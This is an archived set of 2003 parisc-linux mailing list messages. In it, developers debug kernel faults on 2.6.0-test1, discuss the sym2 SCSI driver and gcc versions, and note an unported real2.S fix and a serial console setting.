X-Trace: ger.gmane.org 1416622598 27916 80.91.229.3 (22 Nov 2014 02:16:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:38 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 15 08:12:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 769CB482D
	for <parisc-linux@parisc-linux.org>; Tue, 15 Jul 2003 08:12:50 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19cQXx-0006hH-Ee; Tue, 15 Jul 2003 15:12:49 +0100
Content-Disposition: inline
In-Reply-To: <3F0C2302000015C8@ocpmta2.freegates.net>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18936

On Tue, Jul 15, 2003 at 03:58:36PM +0200, Joel Soete wrote:
> kernel BUG at arch/parisc/kernel/pci.c:338!

Oops, my mistake.  It's completely harmless, but I'll commit a fix
right now.

> sym53c8xx: at PCI bus 0, device 19, function 0
> sym53c8xx: 53c875 detected 
> sym53c875-0: rev 0x4 on pci bus 0 device 19 function 0 irq 99
> ERROR: SCSI host `sym53c8xx' has no error handling
> ERROR: This is not a safe way to run your SCSI host
> ERROR: The error handling must be added to this driver

Can you use the sym2 driver instead of the original sym driver?

> Freeing unused kernel memory: 524k freed
> 
> Kernel addresses on the stack:
>  [<10106008>] parisc_terminate+0x54/0xac
>  [<10106304>] handle_interruption+0x2a4/0x5b4
>  [<1013da9c>] buffered_rmqueue+0xd8/0x164
>  [<1013dbd8>] __alloc_pages+0xb0/0x368
>  [<1010a088>] intr_check_sig+0x0/0xc
>  [<1013a950>] filemap_nopage+0x35c/0x3e8
>  [<101e5698>] __canonicalize_funcptr_for_compare+0x3c/0x134
>  [<101667ec>] may_open+0x58/0x1c8
>  [<101562d8>] dentry_open+0x12c/0x1b8
>  [<101694b8>] locate_fd+0x124/0x160
>  [<10169704>] sys_dup+0x24/0x30
>  [<101562d8>] dentry_open+0x12c/0x1b8
>  [<1013063c>] do_sigaction+0xe0/0x290
>  [<101062d4>] handle_interruption+0x274/0x5b4
>  [<10130b44>] sys_rt_sigaction+0x7c/0xc4
>  [<1010afe8>] syscall_exit+0x0/0x28
>  [<1010a088>] intr_check_sig+0x0/0xc
> 
> 
> Kernel Fault: Code=15 regs=17fb8200 (Addr=00027750)
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001101111111100001110 Not tainted
> r00-03  00000000 103ba504 1013063c 00027750
> r04-07  00000000 0000000d 0000000e 10413a20
> r08-11  17fb80c8 00000001 1037d000 10169704
> r12-15  00027174 00000000 17fbf670 1037d000
> r16-19  10368010 00027974 ffffffff 10368010
> r20-23  00001000 00027753 000000e0 0000000c
> r24-27  00000000 00000000 00027752 10368010
> r28-31  00027752 00000400 17fb8200 40061097
> sr0-3   00000001 00000001 00000000 00000001
> sr4-7   00000000 00000000 00000000 00000000
> 
> IASQ: 00000000 00000000 IAOQ: 101e5694 101e5698
>  IIR: 0c601094    ISR: 00000000  IOR: 00027750
>  CPU:        0   CR30: 17fb8000 CR31: 103bd000
>  ORIG_R28: 00000000
>  IAOQ[0]: __canonicalize_funcptr_for_compare+0x38/0x134
>  IAOQ[1]: __canonicalize_funcptr_for_compare+0x3c/0x134
>  RP(r2): do_sigaction+0xe0/0x290
> 
> Any idea?

This is the fatal one.  Dying in __canonicalize_funcptr_for_compare ...
outside my realm of expertise (since i use gcc-3.0 still).

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: 2.6.0-test1: Kernel pci bug ?
Date: Tue, 15 Jul 2003 16:31:03 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <3F0C2302000015FA@ocpmta2.freegates.net>
References: <20030715141249.GT23808@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622598 27919 80.91.229.3 (22 Nov 2014 02:16:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:38 +0000 (UTC)
Cc: "Matthew Wilcox" <willy@debian.org>,
	parisc-linux@parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 15 08:32:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5A33E482D
	for <parisc-linux@parisc-linux.org>; Tue, 15 Jul 2003 08:32:28 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19cQoZ-0003Cv-00; Tue, 15 Jul 2003 16:29:59 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 15 Jul 2003 16:31:03 +0200
In-Reply-To: <20030715141249.GT23808@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18937

>Oops, my mistake.  It's completely harmless, but I'll commit a fix
>right now.

No pb (I would have to report it earlier also)

>> sym53c8xx: at PCI bus 0, device 19, function 0
>> sym53c8x
>>: 53c875 detected 
>> sym53c875-0: rev 0x4 on pci bus 0 device 19 function 0 irq 99
>> ERROR: SCSI host `sym53c8xx' has no error handling
>> ERROR: This is not a safe way to run your SCSI host
>> ERROR: The error handling must be added to this driver
>
>
> Can you use the sym2 driver instead of the original sym driver?

My bad: as we spook about the remove of sym1 I do not check. I will so test

>>calize_funcptr_for_compare+0x3c/0x134
>>  RP(r2): do_sigaction+0xe0/0x290
>> 
>> Any idea?
>
>This is the fatal one.  Dying in __canonicalize_funcptr_for_compare ...
>outside my realm of expertise (since i use gcc-3.0 still).

Ok I will do first retry with gcc-3.3 and sym2: report test.
If still failled comeback with gcc-3.0 and report also test.

Thanks,
    Joel

BTW Grant do you already put __canonicalise... stuff into 2.[56] I don't
reach to remember?


------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?R=FCdiger_Scholz?= <rscholz@hrzpub.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [Fwd: Re: [parisc-linux] real2.S in linux-2.5]
Date: Tue, 15 Jul 2003 16:50:16 +0200
Lines: 62
Approved: news@gmane.org
Message-ID: <3F1414A8.6020606@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------090204010400080205050000"
X-Trace: ger.gmane.org 1416622598 27920 80.91.229.3 (22 Nov 2014 02:16:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 15 08:56:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailserver3.hrz.tu-darmstadt.de (mailserver3.hrz.tu-darmstadt.de [130.83.126.47])
	by dsl2.external.hp.com (Postfix) with ESMTP id F2B72482D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Jul 2003 08:56:50 -0600 (MDT)
Original-Received: from hrzpub.tu-darmstadt.de (IP-213157001142.dialin.heagmedianet.de [213.157.1.142])
	(authenticated bits=0)
	by mailserver3.hrz.tu-darmstadt.de (8.12.9/8.12.7) with ESMTP id h6FEuitd009300
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NO)
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Jul 2003 16:56:47 +0200
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.4) Gecko/20030624
X-Accept-Language: de-de, de, en-us, en
X-MailScanner: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18938

This is a multi-part message in MIME format.
--------------090204010400080205050000
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

This should go to the mailing list also...

--------------090204010400080205050000
Content-Type: message/rfc822;
 name="Re: [parisc-linux] real2.S in linux-2.5"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="Re: [parisc-linux] real2.S in linux-2.5"

Message-ID: <3F13AABB.1030106@hrzpub.tu-darmstadt.de>
Date: Tue, 15 Jul 2003 09:18:19 +0200
From: =?ISO-8859-1?Q?R=FCdiger_Scholz?= <rscholz@hrzpub.tu-darmstadt.de>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.4) Gecko/20030624
X-Accept-Language: de-de, de, en-us, en
MIME-Version: 1.0
To: Matthew Wilcox <willy@debian.org>
Subject: Re: [parisc-linux] real2.S in linux-2.5
References: <3F12C763.7010305@hrzpub.tu-darmstadt.de> <20030714152317.GI23808@parcelfarce.linux.theplanet.co.uk>
In-Reply-To: <20030714152317.GI23808@parcelfarce.linux.theplanet.co.uk>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

Matthew Wilcox schrieb:

>Done.
>
Thanks.

>
> restore_control_regs:
>-       load32  PA(save_cr_space + (N_SAVED_REGS * REG_SZ)), %r26
>+       load32  PA(save_cr_space+(N_SAVED_REGS*REG_SZ)), %r26
>        POP_CR(%cr15, %r26)
>
>I'm a little annoyed this fix wasn't committed to 2.5 already.  I wonder
>what other bits went into the 2.4 tree without going into 2.5 first?
>
Looking at the mail archive for cvs I found the following checkins this 
month for linux-2.4 which had no similar checkin to linux-2.5. But I 
don't know much about kernel development, so perhaps these changes are 
nonly needed in linux-2.4.

    
http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2003-July/032783.html
    
http://lists.parisc-linux.org/pipermail/parisc-linux-cvs/2003-July/032788.html

>
>BTW, it's not for gcc-3.3's benefit, but for binutils' benefit.
>
Yes, I know. It was a quick'n'dirty email. ;)



--------------090204010400080205050000--



From - Thu Nov 08 21:28:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: 2.6.0-test1: Kernel pci bug ?
Date: Tue, 15 Jul 2003 18:53:06 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <3F0C2302000016AD@ocpmta2.freegates.net>
References: <20030715141249.GT23808@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622598 27923 80.91.229.3 (22 Nov 2014 02:16:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:38 +0000 (UTC)
Cc: "Matthew Wilcox" <willy@debian.org>,
	parisc-linux@parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 15 10:53:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 79133482D
	for <parisc-linux@parisc-linux.org>; Tue, 15 Jul 2003 10:53:12 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19cT0k-0007XD-00; Tue, 15 Jul 2003 18:50:42 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 15 Jul 2003 18:53:06 +0200
In-Reply-To: <20030715141249.GT23808@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18939

Willy,

Good news:

[wsjso] jso /home/jso > ssh pafw02
Enter passphrase for key '/home/jso/.ssh/id_dsa': 
Linux fw02.office.palinux 2.6.0-test1-pa0 #1 Tue Jul 15 18:28:46 CEST 2003
parisc GNU/Linux
No mail.
jso@fw02:~$ 

It works when compile with sym2 (I do not try any more sym1) and compiled
with gcc-3.0. I will so tried now to port forward gg __canonicalize... stuff
and gcc-3.3.

Just an additional question: may I already try module support (I had a ragexl
pci card witch I would like to test in 2.6)?

Thanks a lot for this great job,
    Joel


------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Gabert <pappy@nikita.ath.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] E35 boots gentoo hppa beta04 into kernel fault
Date: Tue, 15 Jul 2003 18:57:58 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <20030715165758.GA10544@nikita.ath.cx>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622599 27925 80.91.229.3 (22 Nov 2014 02:16:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:39 +0000 (UTC)
Cc: gmsoft@gentoo.org
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 15 10:58:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mailout07.sul.t-online.com (mailout07.sul.t-online.com [194.25.134.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id 70348482D
	for <parisc-linux@parisc-linux.org>; Tue, 15 Jul 2003 10:58:57 -0600 (MDT)
Original-Received: from fwd05.aul.t-online.de 
	by mailout07.sul.t-online.com with smtp 
	id 19cT8i-0002QG-01; Tue, 15 Jul 2003 18:58:56 +0200
Original-Received: from nikita.ath.cx (Z2-n7wZ1ZeutBDAlknSOnMN3kUyYjUcpavYj60T7awTmAidAh1x8wm@[217.89.10.241]) by fmrl05.sul.t-online.com
	with esmtp id 19cT8f-0pdtTc0; Tue, 15 Jul 2003 18:58:53 +0200
Original-Received: from nikita.ath.cx (localhost.localdomain [127.0.0.1])
	by nikita.ath.cx (8.12.3/8.12.3/Debian-6.4) with ESMTP id h6FGvxbG027001;
	Tue, 15 Jul 2003 18:58:00 +0200
Original-Received: (from pappy@localhost)
	by nikita.ath.cx (8.12.3/8.12.3/Debian-6.4) id h6FGvwvw008213;
	Tue, 15 Jul 2003 18:57:58 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Seen: false
X-ID: Z2-n7wZ1ZeutBDAlknSOnMN3kUyYjUcpavYj60T7awTmAidAh1x8wm@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18940

hi parisc people :-)

here i got something for you to investigate:

http://nikita.ath.cx/users/pappy/hppa/e35/boot/gentoo-beta04.txt

there is also another file in that directory with full INfo output.

notice the different scsi cards in it, Grant and Thibaut, did you get
into something regarding that?


thanks in advance,

Alex
-- 
A long-forgotten loved one will appear soon.

Buy the negatives at any price.


From - Thu Nov 08 21:28:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] E35 boots gentoo hppa beta04 into kernel fault
Date: Tue, 15 Jul 2003 10:17:04 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20030715171704.GH30257@tausq.org>
References: <20030715165758.GA10544@nikita.ath.cx>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622599 27930 80.91.229.3 (22 Nov 2014 02:16:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:39 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, gmsoft@gentoo.org
To: Alexander Gabert <pappy@nikita.ath.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 15 11:13:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3FE92482D
	for <parisc-linux@parisc-linux.org>; Tue, 15 Jul 2003 11:13:23 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 6C3B4CD2F8; Tue, 15 Jul 2003 10:17:04 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20030715165758.GA10544@nikita.ath.cx>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18941

> http://nikita.ath.cx/users/pappy/hppa/e35/boot/gentoo-beta04.txt
> 
> there is also another file in that directory with full INfo output.
> 
> notice the different scsi cards in it, Grant and Thibaut, did you get
> into something regarding that?

http://www.parisc-linux.org/faq/kernelbug-howto.html

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:28:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] E35 boots gentoo hppa beta04 into kernel fault
Date: Tue, 15 Jul 2003 18:35:25 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20030715173525.GX23808@parcelfarce.linux.theplanet.co.uk>
References: <20030715165758.GA10544@nikita.ath.cx>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622599 27931 80.91.229.3 (22 Nov 2014 02:16:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:39 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, gmsoft@gentoo.org
To: Alexander Gabert <pappy@nikita.ath.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 15 11:35:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7B8BE4844
	for <parisc-linux@parisc-linux.org>; Tue, 15 Jul 2003 11:35:26 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19cTi1-0003DL-Bi; Tue, 15 Jul 2003 18:35:25 +0100
Content-Disposition: inline
In-Reply-To: <20030715165758.GA10544@nikita.ath.cx>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18942

On Tue, Jul 15, 2003 at 06:57:58PM +0200, Alexander Gabert wrote:
> here i got something for you to investigate:
> 
> http://nikita.ath.cx/users/pappy/hppa/e35/boot/gentoo-beta04.txt

console=ttyB0, not ttyS0

> notice the different scsi cards in it, Grant and Thibaut, did you get
> into something regarding that?

need docs.  ryan's the most interested in those.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: 2.6.0-test1: Kernel pci bug ?
Date: Tue, 15 Jul 2003 20:08:25 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <3F0C2302000016ED@ocpmta2.freegates.net>
References: <3F0C2302000016AD@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622600 27933 80.91.229.3 (22 Nov 2014 02:16:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:40 +0000 (UTC)
Cc: "Matthew Wilcox" <willy@debian.org>,
	parisc-linux@parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 15 12:08:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 498E8482D; Tue, 15 Jul 2003 12:08:28 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19cUBe-0003Kd-00; Tue, 15 Jul 2003 20:06:02 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 15 Jul 2003 20:08:25 +0200
In-Reply-To: <3F0C2302000016AD@ocpmta2.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18943

Hi Grant,

> It works when compiled with sym2 (I do not try any more sym1) and compiled
> with gcc-3.0. 
